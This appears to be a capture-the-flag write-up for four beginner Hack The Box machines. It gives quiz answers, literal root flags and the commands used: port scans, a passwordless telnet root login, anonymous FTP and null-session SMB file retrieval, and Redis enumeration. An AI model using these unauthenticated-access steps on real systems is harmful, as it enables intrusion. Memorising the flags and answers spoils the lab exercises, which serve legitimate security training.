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What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It's also known as a console or shell.
terminal
What service do we use to form our VPN connection into HTB labs?
openvpn
What is the abbreviated name for a 'tunnel interface' in the output of your VPN boot-up sequence output?
tun
What tool do we use to test our connection to the target with an ICMP echo request?
ping
What is the name of the most common tool for finding open ports on a target?
nmap
What service do we identify on port 23/tcp during our scans?
telnet
What username is able to log into the target over telnet with a blank password?
root
Submit root flag
b40abdfe23665f766f9c61ecba8a4c19
Commands
Scan
$ rustscan -a 10.129.43.238
PORT STATE SERVICE REASON
23/tcp open telnet syn-ack
Telnet
$ telnet -l root 10.129.43.238
Trying 10.129.43.238...
Connected to 10.129.43.238.
Escape character is '^]'.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
Fawn
Questionnaire
What does the 3-letter acronym FTP stand for?
File Transfer Protocol
Which port does the FTP service listen on usually?
21
What acronym is used for the secure version of FTP?
SFTP
What is the command we can use to send an ICMP echo request to test our connection to the target?
ping
From your scans, what version is FTP running on the target?
vsftpd 3.0.3
From your scans, what OS type is running on the target?
Unix
What is the command we need to run in order to display the 'ftp' client help menu?
ftp -h
What is username that is used over FTP when you want to log in without having an account?
anonymous
What is the response code we get for the FTP message 'Login successful'?
230
There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system.
ls
What is the command used to download the file we found on the FTP server?
get
Submit root flag
035db21c881520061c53e0536e44f815
Commands
Scan
$ rustscan -a 10.129.86.28 -- -sC
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.15.27
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
File
$ ftp -p [email protected]
Connected to 10.129.86.28.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (10,129,86,28,155,118).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.
ftp> get flag.txt
227 Entering Passive Mode (10,129,86,28,215,181).
150 Opening BINARY mode data connection for flag.txt (32 bytes).
226 Transfer complete.
32 bytes received in 0.000266 seconds (117 kbytes/s)
ftp> quit
221 Goodbye.
Dancing
Questionnaire
What does the 3-letter acronym SMB stand for?
Server Message Block
What port does SMB use to operate at?
445
What is the service name for port 445 that came up in our Nmap scan?
microsoft-ds
What is the 'flag' or 'switch' we can use with the SMB tool to 'list' the contents of the share?
-L
How many shares are there on Dancing?
4
What is the name of the share we are able to access in the end with a blank password?
WorkShares
What is the command we can use within the SMB shell to download the files we find?
get
Submit root flag
5f61c10dffbc77a704d76016a22f1664
Commands
Scan
$ rustscan -a 10.129.1.203
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
5985/tcp open wsman syn-ack
47001/tcp open winrm syn-ack
Shares
$ smbclient --no-pass -L 10.129.1.203
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
File
$ smbclient --no-pass //10.129.1.203/Workshares
smb: \> ls
. D 0 Mon Mar 29 10:22:01 2021
.. D 0 Mon Mar 29 10:22:01 2021
Amy.J D 0 Mon Mar 29 11:08:24 2021
James.P D 0 Thu Jun 3 10:38:03 2021
5114111 blocks of size 4096. 1732425 blocks available
smb: \> cd James.P
smb: \James.P\> ls
. D 0 Thu Jun 3 10:38:03 2021
.. D 0 Thu Jun 3 10:38:03 2021
flag.txt A 32 Mon Mar 29 11:26:57 2021
5114111 blocks of size 4096. 1732424 blocks available
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \James.P\> quit
Redeemer
Questionnaire
Which TCP port is open on the machine?
6379
Which service is running on the port that is open on the machine?
redis
What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database
In-memory Database
Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.
redis-cli
Which flag is used with the Redis command-line utility to specify the hostname?
-h
Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?
info
What is the version of the Redis server being used on the target machine?
5.0.7
Which command is used to select the desired database in Redis?
select
How many keys are present inside the database with index 0?
4
Which command is used to obtain all the keys in a database?
keys *
Submit root flag
03e1d2b376c37ab3f5319922053953eb
Commands
Scan
$ rustscan -a 10.129.70.165
PORT STATE SERVICE REASON
6379/tcp open redis syn-ack
Version
$ redis-cli -h 10.129.70.165 info | grep redis_version
redis_version:5.0.7
This is awesome thanks so much for making me a lazy hacker. LOOOL!